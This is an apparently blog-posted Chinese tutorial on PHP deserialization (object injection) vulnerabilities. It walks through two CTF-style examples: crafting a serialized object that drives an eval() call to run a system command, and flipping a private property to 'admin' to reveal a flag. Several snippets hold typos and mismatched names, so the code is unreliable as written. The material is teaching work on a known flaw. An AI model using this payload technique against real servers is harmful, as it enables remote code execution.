首页 > 其他分享 >web渗透-反序列化

web渗透-反序列化

时间:2024-08-10 22:27:18浏览次数:7  
标签:web 函数 渗透 代码 evil admin 序列化 public

一:概念

1、序列化:将变量转化为可保存或者可以传输的字符串的过程;实现函数是serialize()函数(变量转化成字符串

2、反序列化:把这个字符串在转化成原来变量使用;就是序列化的逆过程;实现函数是unserialize()函数( 字符串转换成变量

3、示例

<?php
class Student{
	public $name="admin";
	public $grade=90;
}
$a = new Student;
var_dump($a);
echo serialize($a);//序列化(变量转成字符串)
$b=unseralize(serialize($a));//发序列化(字符串转换成变量)
var_dump($b);
?>

4、序列化和发序列化的目的是为了更加轻松的存储和传输数据;使程序更具有维护性质

二:反序列化漏洞

1、发序列话漏洞也称为对象注入;就是当程序在进行反序列化时;会自动调用一些函数;但是如果传入函数的参数可以被用户控制的话;用户可以输入一些恶意的代码到函数当中;从而导致反序列漏洞

三:魔术方法

陆续更新中!

四:数组

陆续更新中!

五:例题讲解

步骤

1、注释掉和属性无关的内容

2、审计代码给属性赋值

3、构造序列化数据

4、传递数据到服务器

题目1

//题目1
<?php
show_source(__FILE__):
error_reportting(0);
class DEMO{
	public $func;
	public $args;
	public function safe(){
		echo $this->arg;
	}
	public function evil(){
		eval($this->arg);
	}
	public function run()
		$this->{$this->func}();
	public _construct(){
		$this->func = 'evil';
	}
}
$obj=unserialize($GET['a'])
$obj->run();
?>
//思路
//第一步:注释掉与属性无关的内容
<?php
class DEMO{
	public $func;
	public $args;
	}
}
?>
//第二步骤:审计代码给属性赋值
	public $func='evil';
	public $args=systeminfo();
//第三步骤;生成序列化数据(包含恶意代码)
$d=new DEMO;
echo urlencode(serialize($d));
//提交反序列话数据到服务器
GET提交数据的方式:url/?序列化数据

题解:审计代码;需要以GET方式传递一个参数;然后去执行run方法;分析run方法;当$func='evil'时;才会执行evil方法;evil方法中eval()函数能够将传递进来的参数当作php代码执行;然而用$args传递参数;我们需要构造序列化数据(包含恶意代码);然后传递给服务器;服务器反序列化还原数据;让eval函数执行代码!

题目2

<?php
class Login{
	private $user='ylng';
	
	//function_destruct()
	{
		//if ($this->user='admin'){
			//echo $flag;
		}//else{
			//echo 'you are not my admin';
		}
	}
}
//$exp = $_GET['exp'];
//userialize(@$exp)
?>

题解:
审计代码;通过get方式传递数据;代码中判断$user是否等于admin;如果等于admin 就输出flag;于是给$user赋值伪admin;然构造序列化数据(根据上面的步骤)

<?php
class Login{
    private $user='admin';
}
$d=new Login;
echo urlencode(serialize($d));
?>

然后将序列化数据传递给服务器;拿到flag!

陆续更新中!

标签:web,函数,渗透,代码,evil,admin,序列化,public
From: https://www.cnblogs.com/gsupl/p/18352871

相关文章

  • 渗透测试基础及x64dbg调试器
    一、实验原理x64dbg是一款开源且免费的Ring3级动态调试器,采用QT编写,支持32/64位程序。其反汇编引擎BeaEngine和Capstone功能极其强大,也有丰富的插件和脚本功能,且并保持更新,目前已经基本替代了OllDbg。软件解压后根目录存在x96dbg,双击x96dbg,出现三个弹窗,会......
  • MSF及Windows渗透测试
    一、MetasploitFramework原理Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合......
  • 基于Java Web的社区新闻推荐系统/资讯网站
     目录摘要Abstract1引言1.1研究背景1.2研究现状1.3主要研究内容2相关技术2.1Java介绍2.2MySQL数据库2.3Tomcat2.4Vue框架3需求分析3.1功能需求分析3.2非功能需求分析3.3可行性分析4系统设计4.1系统功能设计4.2系统流程设......
  • wechat crawler url拼接 url解析 微信爬虫 json序列化 反序列化
    WechatPublicRequest\Program.csusingSystem.Collections.Specialized;usingSystem.Diagnostics;usingSystem.Web;usingNewtonsoft.Json;classProgram{staticasyncTaskMain(){varlatestTxtFilePath=GetLatestTxtFilePath();......
  • 如何在Java项目中使用自定义序列化器处理URL
    如何在Java项目中使用自定义序列化器处理URL在Java开发中,处理和序列化URL是一个常见的需求,尤其是在涉及到图像资源时。如果项目需要根据特定条件处理图像URL(如添加前缀),可以自定义一个序列化器来简化这一过程。本文将介绍如何创建一个自定义的ImgJsonSerializer类,处理单个URL和UR......
  • http.sys 是 IIS 的底层组件,负责高效、安全地处理 HTTP 请求,而 IIS 则提供了更高层次
    IIS(InternetInformationServices)和http.sys是MicrosoftWindows操作系统中的两个相关组件,它们一起工作来处理和管理HTTP请求。以下是它们的关系和功能:IIS:Web服务器:IIS是Microsoft的Web服务器软件,提供了用于托管和管理Web应用程序的功能,包括网站、应用程序......
  • 秒开WebView?Android性能优化全攻略
    在Android应用中,WebView组件被广泛用于显示网页内容。然而,由于WebView的一些固有限制和资源消耗,它可能会导致应用启动变慢或响应速度下降。下面是一些优化WebView性能的策略,以帮助你实现“秒开”效果:1.减少初始化时间• 延迟加载:不要在应用启动时立即初始化WebView,......
  • Web前端开发环境搭建
    安装node.js和npm上官网下载:https://nodejs.org/zh-cn不管macOS还是Windows,下载的都是安装程序,按提示完成即可。安装前的提示如下:Thispackagewillinstall: • Node.jsv20.16.0to/usr/local/bin/node • npmv10.8.1to/usr/local/bin/npm安装成功后,可看到如......
  • 基于 Clouflare+D1 的web访客统计服务
    项目地址https://github.com/yestool/analytics_with_cloudflare部署步骤安装依赖npminstall-gwranglernpminstallhono创建D1数据库:web_analytics数据库名称为web_analytics,与package.json内保持一致npxwranglerd1createweb_analytics运行后控制台......
  • 『SD』Stable Diffusion WebUI 安装插件(以汉化为例)
    前言本文简介StableDiffusionWebUI是允许用户自行安装插件的,插件的种类有很多,有将页面翻译成中文的插件,也有提示词补全插件,也有精细控制出图的插件。以汉化为例,StableDiffusionWebUI默认是英文的,我们只需装个汉化插件然后重启一下项目就能把页面变成中文了。安装......